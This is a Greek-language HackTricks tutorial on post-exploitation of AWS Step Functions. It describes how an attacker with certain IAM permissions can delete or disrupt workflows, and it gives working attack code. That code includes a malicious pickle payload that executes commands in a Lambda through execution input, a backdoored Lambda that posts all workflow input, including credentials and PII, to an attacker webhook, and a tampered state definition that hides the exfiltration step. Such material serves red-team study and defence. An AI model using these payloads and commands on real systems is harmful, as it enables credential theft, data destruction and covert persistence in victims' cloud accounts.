AWS - Step Functions Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Step Functions

Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, δείτε:

AWS - Step Functions Enum

states:RevealSecrets

Αυτό το permission επιτρέπει την αποκάλυψη μυστικών δεδομένων μέσα σε ένα execution. Για αυτό απαιτείται να οριστεί το Inspection level σε TRACE και το revealSecrets parameter σε true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να διαγράψει μόνιμα state machines, τις versions τους και τα aliases. Αυτό μπορεί να διαταράξει κρίσιμες ροές εργασίας, να προκαλέσει απώλεια δεδομένων και να απαιτήσει σημαντικό χρόνο για την αποκατάσταση και την επαναφορά των επηρεαζόμενων state machines. Επιπλέον, θα επέτρεπε σε έναν επιτιθέμενο να σβήσει ίχνη που χρησιμοποιήθηκαν, να διακόψει τις δικανικές έρευνες και ενδεχομένως να παραλύσει τις λειτουργίες αφαιρώντας ουσιώδεις αυτοματισμούς και διαμορφώσεις κατάστασης.

Note

  • Διαγράφοντας ένα state machine, διαγράφετε επίσης όλες τις συσχετιζόμενες versions και aliases.
  • Διαγράφοντας ένα state machine alias, δεν διαγράφετε τις state machine versions που αναφέρονται σε αυτό το alias.
  • Δεν είναι δυνατή η διαγραφή μιας state machine version που αυτή τη στιγμή αναφέρεται από ένα ή περισσότερα aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Πιθανός Αντίκτυπος: Διακοπή κρίσιμων ροών εργασίας, απώλεια δεδομένων και λειτουργική διακοπή.

states:UpdateMapRun

Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χειριστεί τη ρύθμιση αποτυχίας του Map Run και τη ρύθμιση parallel, αυξάνοντας ή μειώνοντας τον μέγιστο αριθμό επιτρεπόμενων εκτελέσεων child workflow, επηρεάζοντας άμεσα τη διαθεσιμότητα και την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το ποσοστό και τον αριθμό ανεκτών αποτυχιών, μειώνοντάς τα έως το 0, ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρο το Map Run να αποτύχει, επηρεάζοντας άμεσα την εκτέλεση του state machine και ενδεχομένως διαταράσσοντας κρίσιμες ροές εργασίας.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Πιθανός Αντίκτυπος: Μειωμένη απόδοση και διατάραξη κρίσιμων ροών εργασίας.

states:StopExecution

Ένας attacker με αυτή την άδεια θα μπορούσε να σταματήσει την εκτέλεση οποιασδήποτε state machine, διαταράσσοντας τις τρέχουσες ροές εργασίας και διαδικασίες. Αυτό μπορεί να οδηγήσει σε μη ολοκληρωμένες συναλλαγές, παύση επιχειρησιακών λειτουργιών και πιθανή αλλοίωση δεδομένων.

Warning

Αυτή η ενέργεια δεν υποστηρίζεται από express state machines.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potential Impact: Διακοπή των τρεχουσών ροών εργασίας, διακοπή λειτουργίας και πιθανή διαφθορά δεδομένων.

states:TagResource, states:UntagResource

Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από πόρους του Step Functions, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε ετικέτες.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Πιθανός Αντίκτυπος: Διατάραξη της κατανομής κόστους, της παρακολούθησης πόρων και των πολιτικών ελέγχου πρόσβασης βάσει ετικετών.


states:StartExecution -> Input Injection Into Dangerous Sinks

states:StartExecution είναι ένα data-plane entrypoint. Εάν μια μηχανή κατάστασης προωθήσει είσοδο ελεγχόμενη από επιτιθέμενο σε ένα task που περιέχει ένα dangerous sink (για παράδειγμα μια Lambda που κάνει pickle.loads(base64.b64decode(payload_b64))), μερικές φορές μπορείτε να μετατρέψετε StartExecution σε code execution και secret exfiltration μέσω της εξόδου εκτέλεσης, χωρίς καμία άδεια για να ενημερώσετε τη μηχανή κατάστασης.

Εντοπισμός του workflow και της καλούμενης Lambda

Εάν έχετε states:List* / states:Describe*, μπορείτε να απαριθμήσετε και να διαβάσετε τον ορισμό της μηχανής κατάστασης:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

Εάν έχετε επίσης lambda:GetFunction, μπορείτε να κατεβάσετε το πακέτο κώδικα του Lambda για να κατανοήσετε πώς επεξεργάζεται η είσοδος (και να επιβεβαιώσετε εάν υπάρχει unsafe deserialization):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Παράδειγμα: crafted pickle στην είσοδο εκτέλεσης (Python)

Αν το Lambda unpickles attacker-controlled data, ένα malicious pickle μπορεί να εκτελέσει κώδικα κατά τη διάρκεια της deserialization. Παράδειγμα payload που αξιολογεί μια έκφραση Python στο Lambda runtime:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Επίπτωση: Όποιες άδειες έχει ο task role (Secrets Manager reads, S3 writes, KMS decrypt, etc.) μπορούν να γίνουν προσβάσιμες μέσω κατασκευασμένης εισόδου, και το αποτέλεσμα μπορεί να επιστραφεί στην έξοδο εκτέλεσης του Step Functions.

states:UpdateStateMachine, lambda:UpdateFunctionCode

Ένας επιτιθέμενος που παραβιάζει έναν χρήστη ή ρόλο με τα ακόλουθα δικαιώματα:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…μπορεί να διεξάγει ένα high-impact and stealthy post-exploitation attack συνδυάζοντας Lambda backdooring με Step Function logic manipulation.

Αυτό το σενάριο υποθέτει ότι το θύμα χρησιμοποιεί AWS Step Functions για την ορχήστρωση ροών εργασίας που επεξεργάζονται ευαίσθητες εισόδους, όπως credentials, tokens, ή PII.

Παράδειγμα κλήσης θύματος:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Αν το Step Function είναι ρυθμισμένο να καλεί μια Lambda όπως την LegitBusinessLogic, ο attacker μπορεί να προχωρήσει με δύο stealthy attack variants:


Ενημέρωση της Lambda function

Ο attacker τροποποιεί τον κώδικα της Lambda function που ήδη χρησιμοποιείται από το Step Function (LegitBusinessLogic) ώστε σιωπηλά να exfiltrate τα δεδομένα εισόδου.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Προσθήκη κακόβουλου state στο Step Function

Εναλλακτικά, ο επιτιθέμενος μπορεί να εισάγει ένα exfiltration state στην αρχή της ροής εργασίας ενημερώνοντας τον ορισμό του Step Function.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

The attacker μπορεί να γίνει ακόμα πιο stealthy ενημερώνοντας τον ορισμό του state σε κάτι σαν το παρακάτω { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } όπου ο victim δεν θα αντιληφθεί τη διαφορά


Victim Setup (Context for Exploit)

  • Ένα Step Function (LegitStateMachine) χρησιμοποιείται για την επεξεργασία ευαίσθητων εισόδων χρηστών.
  • Καλεί μία ή περισσότερες Lambda functions όπως LegitBusinessLogic.

Πιθανός Αντίκτυπος:

  • Σιωπηλή exfiltration ευαίσθητων δεδομένων, συμπεριλαμβανομένων secrets, credentials, API keys, και PII.
  • Χωρίς εμφανή σφάλματα ή αποτυχίες στην εκτέλεση του workflow.
  • Δύσκολο να εντοπιστεί χωρίς auditing του Lambda code ή των execution traces.
  • Επιτρέπει μακροχρόνια persistence εάν το backdoor παραμείνει στον κώδικα ή στη λογική ASL.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks